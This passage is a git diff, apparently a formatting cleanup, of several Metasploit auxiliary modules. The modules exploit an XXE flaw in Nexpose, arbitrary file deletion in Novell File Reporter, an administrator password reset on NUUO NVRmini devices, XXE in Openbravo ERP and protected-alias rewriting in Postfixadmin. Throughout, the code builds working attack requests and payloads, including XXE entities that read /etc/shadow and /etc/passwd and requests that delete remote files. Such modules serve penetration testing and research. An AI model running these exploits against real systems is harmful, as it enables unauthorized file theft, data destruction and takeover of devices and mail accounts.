craft special XML that + could read arbitrary files from the filesystem. This module exploits the + vulnerability via the XML API. + }, + 'Author' => [ + 'Brandon Perry ', # Initial discovery and Metasploit module + 'Drazen Popovic ', # Independent discovery, alternate vector + 'Bojan Zdrnja ' # Independently reported ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'URL', 'https://www.rapid7.com/blog/post/2013/08/16/r7-vuln-2013-07-24/' ] ], - 'DefaultOptions' => { - 'SSL' => true - } - )) + 'DefaultOptions' => { + 'SSL' => true + } + ) + ) - register_options( - [ - Opt::RPORT(3780), - OptString.new('USERNAME', [true, "The Nexpose user", nil]), - OptString.new('PASSWORD', [true, "The Nexpose password", nil]), - OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]) - ]) + register_options( + [ + Opt::RPORT(3780), + OptString.new('USERNAME', [true, 'The Nexpose user', nil]), + OptString.new('PASSWORD', [true, 'The Nexpose password', nil]), + OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/shadow']) + ] + ) end def run @@ -50,27 +52,26 @@ class MetasploitModule < Msf::Auxiliary nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store) - print_status("Authenticating as: " << user) + print_status('Authenticating as: ' << user) begin nsc.login connection_details = { - module_fullname: self.fullname, - username: user, - private_data: pass, - private_type: :password, - status: Metasploit::Model::Login::Status::UNTRIED + module_fullname: fullname, + username: user, + private_data: pass, + private_type: :password, + status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_details) create_credential_and_login(connection_details) - - rescue - print_error("Error authenticating, check your credentials") + rescue StandardError + print_error('Error authenticating, check your credentials') return end xml = '' - xml << %Q{} + xml << %() xml << ']>' xml << '" - print_status("Retrieving file") + print_status('Retrieving file') begin fsa = nsc.execute(xml) - rescue + rescue StandardError nsc.site_delete id - print_error("Error retrieving the file.") + print_error('Error retrieving the file.') return end doc = REXML::Document.new fsa.raw_response_data - print_status("Cleaning up") + print_status('Cleaning up') begin nsc.delete_site id - rescue - print_warning("Error while cleaning up site ID, manual cleanup required!") + rescue StandardError + print_warning('Error while cleaning up site ID, manual cleanup required!') end - unless doc.root.elements["//host"] - print_error("No file returned. Either the server is patched or the file did not exist.") + unless doc.root.elements['//host'] + print_error('No file returned. Either the server is patched or the file did not exist.') return end - path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}") - print_good("File saved to path: " << path) + path = store_loot('nexpose.file', 'text/plain', rhost, doc.root.elements['//host'].first.to_s, "File from Nexpose server #{rhost}") + print_good('File saved to path: ' << path) end end diff --git a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb index 5536afe250..44206ba04e 100644 --- a/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb +++ b/modules/auxiliary/admin/http/novell_file_reporter_filedelete.rb @@ -7,56 +7,60 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Novell File Reporter Agent Arbitrary File Delete', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Novell File Reporter Agent Arbitrary File Delete', + 'Description' => %q{ NFRAgent.exe in Novell File Reporter allows remote attackers to delete - arbitrary files via a full pathname in an SRS request with OPERATION set to 4 and - CMD set to 5 against /FSF/CMD. This module has been tested successfully on NFR - Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1) on - Windows platforms. - }, - 'Author' => [ - 'Luigi Auriemma', # Vulnerability discovery and Poc - 'juan vazquez' # Metasploit module - ], - 'References' => - [ + arbitrary files via a full pathname in an SRS request with OPERATION set to 4 and + CMD set to 5 against /FSF/CMD. This module has been tested successfully on NFR + Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1) on + Windows platforms. + }, + 'Author' => [ + 'Luigi Auriemma', # Vulnerability discovery and Poc + 'juan vazquez' # Metasploit module + ], + 'References' => [ [ 'CVE', '2011-2750' ], [ 'OSVDB', '73729' ], [ 'URL', 'http://aluigi.org/adv/nfr_2-adv.txt'], ] - )) + ) + ) - register_options( - [ - Opt::RPORT(3037), - OptBool.new('SSL', [true, 'Use SSL', true]), - OptString.new('RPATH', [ true, "The remote file path to delete", "c:\\test.txt" ]), - ]) + register_options( + [ + Opt::RPORT(3037), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('RPATH', [ true, 'The remote file path to delete', 'c:\\test.txt' ]), + ] + ) end def run peer = "#{rhost}:#{rport}" record = "SRS45#{datastore['RPATH']}" - md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase + md5 = Rex::Text.md5('SRS' + record + 'SERVER').upcase message = md5 + record print_status("Trying to delete #{datastore['RPATH']}...") res = send_request_cgi( { - 'uri' => '/FSF/CMD', + 'uri' => '/FSF/CMD', 'version' => '1.1', - 'method' => 'POST', - 'ctype' => "text/xml", - 'data' => message, - }, 5) + 'method' => 'POST', + 'ctype' => 'text/xml', + 'data' => message + }, 5 + ) - if res and res.code == 200 and res.body =~ /1<\/VERSION>0<\/STATUS>0<\/TRANSID><\/RESULT>/ + if res && (res.code == 200) && res.body =~ (%r{100}) print_good("File #{datastore['RPATH']} successfully deleted") else - print_error("File not deleted") + print_error('File not deleted') end end end diff --git a/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb b/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb index b41c9316bc..9521c4da7b 100644 --- a/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb +++ b/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb @@ -8,56 +8,58 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset', - 'Description' => %q{ - The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable - to an administrator password reset on the exposed web management interface. - Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware - (before v1.7.6), otherwise you need an administrative user password. - This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance. - It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested - in those devices. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset', + 'Description' => %q{ + The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable + to an administrator password reset on the exposed web management interface. + Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware + (before v1.7.6), otherwise you need an administrative user password. + This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance. + It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested + in those devices. + }, + 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2016-5676'], ['US-CERT-VU', '856152'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-nvr-vulns.txt'], ['URL', 'https://seclists.org/bugtraq/2016/Aug/45'] ], - 'DisclosureDate' => '2016-08-04')) + 'DisclosureDate' => '2016-08-04' + ) + ) register_options( [ Opt::RPORT(8081), - OptString.new('TARGETURI', [true, "Application path", '/']), + OptString.new('TARGETURI', [true, 'Application path', '/']), OptString.new('USERNAME', [false, 'The username to login as', 'admin']), OptString.new('PASSWORD', [false, 'Password for the specified username', 'admin']), - ]) + ] + ) end - def run res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"), - 'vars_get' => { 'cmd' => "loaddefconfig" } + 'uri' => normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'cgi_system'), + 'vars_get' => { 'cmd' => 'loaddefconfig' } }) if res && res.code == 401 res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(datastore['TARGETURI'], "login.php"), - 'vars_post' => { - 'user' => datastore['USERNAME'], - 'pass' => datastore['PASSWORD'], - 'submit' => "Login" - } + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'login.php'), + 'vars_post' => { + 'user' => datastore['USERNAME'], + 'pass' => datastore['PASSWORD'], + 'submit' => 'Login' + } }) if res && (res.code == 200 || res.code == 302) cookie = res.get_cookies @@ -65,9 +67,9 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.") end res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"), - 'cookie' => cookie, - 'vars_get' => { 'cmd' => "loaddefconfig" } + 'uri' => normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'cgi_system'), + 'cookie' => cookie, + 'vars_get' => { 'cmd' => 'loaddefconfig' } }) end diff --git a/modules/auxiliary/admin/http/openbravo_xxe.rb b/modules/auxiliary/admin/http/openbravo_xxe.rb index ee75a61d80..2a08554436 100644 --- a/modules/auxiliary/admin/http/openbravo_xxe.rb +++ b/modules/auxiliary/admin/http/openbravo_xxe.rb @@ -11,109 +11,111 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Openbravo ERP XXE Arbitrary File Read', - 'Description' => %q{ - The Openbravo ERP XML API expands external entities which can be defined as - local files. This allows the user to read any files from the FS as the - user Openbravo is running as (generally not root). + super( + update_info( + info, + 'Name' => 'Openbravo ERP XXE Arbitrary File Read', + 'Description' => %q{ + The Openbravo ERP XML API expands external entities which can be defined as + local files. This allows the user to read any files from the FS as the + user Openbravo is running as (generally not root). - This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6. - }, - 'Author' => - [ + This module was tested against Openbravo ERP version 3.0MP25 and 2.50MP6. + }, + 'Author' => [ 'Brandon Perry ' # Discovery / msf module ], - 'References' => - [ + 'References' => [ ['CVE', '2013-3617'], ['OSVDB', '99141'], ['BID', '63431'], ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'] ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2013-10-30' - )) + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2013-10-30' + ) + ) register_options( [ - OptString.new('TARGETURI', [ true, "Base Openbravo directory path", '/openbravo/']), - OptString.new('HttpUsername', [true, "The Openbravo user", "Openbravo"]), - OptString.new('HttpPassword', [true, "The Openbravo password", "openbravo"]), - OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]), - OptString.new('ENDPOINT', [true, "The XML API REST endpoint to use", "ADUser"]) - ]) + OptString.new('TARGETURI', [ true, 'Base Openbravo directory path', '/openbravo/']), + OptString.new('HttpUsername', [true, 'The Openbravo user', 'Openbravo']), + OptString.new('HttpPassword', [true, 'The Openbravo password', 'openbravo']), + OptString.new('FILEPATH', [true, 'The filepath to read on the server', '/etc/passwd']), + OptString.new('ENDPOINT', [true, 'The XML API REST endpoint to use', 'ADUser']) + ] + ) end def run - print_status("Requesting list of entities from endpoint, this may take a minute...") + print_status('Requesting list of entities from endpoint, this may take a minute...') users = send_request_raw({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}"), + 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore['ENDPOINT']}"), 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) }, 60) - if !users or users.code != 200 - fail_with(Failure::NoAccess, "Invalid response. Check your credentials and that the server is correct.") + if !users || (users.code != 200) + fail_with(Failure::NoAccess, 'Invalid response. Check your credentials and that the server is correct.') end - xml = path = id = other_id = '' #for later use + xml = path = id = other_id = '' # for later use doc = REXML::Document.new users.body doc.root.elements.each do |user| - id = user.attributes["id"] - other_id = user.attributes["identifier"] - print_status("Found #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}") + id = user.attributes['id'] + other_id = user.attributes['identifier'] + print_status("Found #{datastore['ENDPOINT']} #{other_id} with ID: #{id}") print_status("Trying #{other_id}") - xml = %Q{ + xml = %( - ]>\n" xml << '' - xml << "<#{datastore["ENDPOINT"]} id=\"#{id}\" identifier=\"#{other_id}\">" + xml << "<#{datastore['ENDPOINT']} id=\"#{id}\" identifier=\"#{other_id}\">" xml << "#{id}" xml << '&xxe;' - xml << "" + xml << "" xml << '' resp = send_request_raw({ 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), + 'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore['ENDPOINT']}/#{id}"), 'data' => xml, 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) }) - if !resp or resp.code != 200 or resp.body =~ /Not updating entity/ - print_error("Problem updating #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}") + if !resp || (resp.code != 200) || resp.body =~ (/Not updating entity/) + print_error("Problem updating #{datastore['ENDPOINT']} #{other_id} with ID: #{id}") next end - print_status("Found writable #{datastore["ENDPOINT"]}: #{other_id}") + print_status("Found writable #{datastore['ENDPOINT']}: #{other_id}") u = send_request_raw({ 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), + 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore['ENDPOINT']}/#{id}"), 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) }) u = REXML::Document.new u.body - path = store_loot('openbravo.file','text/plain/', datastore['RHOST'], u.root.elements["//comments"].first.to_s, "File from Openbravo server #{datastore['RHOST']}") + path = store_loot('openbravo.file', 'text/plain/', datastore['RHOST'], u.root.elements['//comments'].first.to_s, "File from Openbravo server #{datastore['RHOST']}") break end if path != '' - print_status("Cleaning up after ourselves...") + print_status('Cleaning up after ourselves...') xml.sub!('&xxe;', '') send_request_raw({ 'method' => 'PUT', - 'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), - 'data' => xml, - 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) + 'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore['ENDPOINT']}/#{id}"), + 'data' => xml, + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) }) print_good("File saved to: #{path}") diff --git a/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb b/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb index f8e177a90b..ac4c375851 100644 --- a/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb +++ b/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb @@ -7,28 +7,29 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info( - info, - 'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability', - 'Description' => %q{ - Postfixadmin installations between 2.91 and 3.0.1 do not check if an - admin is allowed to delete protected aliases. This vulnerability can be - used to redirect protected aliases to an other mail address. Eg. rewrite - the postmaster@domain alias - }, - 'Author' => [ 'Jan-Frederik Rieckers' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability', + 'Description' => %q{ + Postfixadmin installations between 2.91 and 3.0.1 do not check if an + admin is allowed to delete protected aliases. This vulnerability can be + used to redirect protected aliases to an other mail address. Eg. rewrite + the postmaster@domain alias + }, + 'Author' => [ 'Jan-Frederik Rieckers' ], + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2017-5930'], ['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'], ['BID', '96142'], ], - 'Privileged' => true, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'DisclosureDate' => '2017-02-03', - )) + 'Privileged' => true, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'DisclosureDate' => '2017-02-03' + ) + ) register_options( [ @@ -37,7 +38,8 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']), OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']), OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias']) - ]) + ] + ) end def username @@ -57,27 +59,27 @@ class MetasploitModule < Msf::Auxiliary end def check - res = send_request_cgi({'uri' => postfixadmin_url_login, 'method' => 'GET'}) + res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' }) return Exploit::CheckCode::Unknown unless res return Exploit::CheckCode::Safe if res.code != 200 if res.body =~ /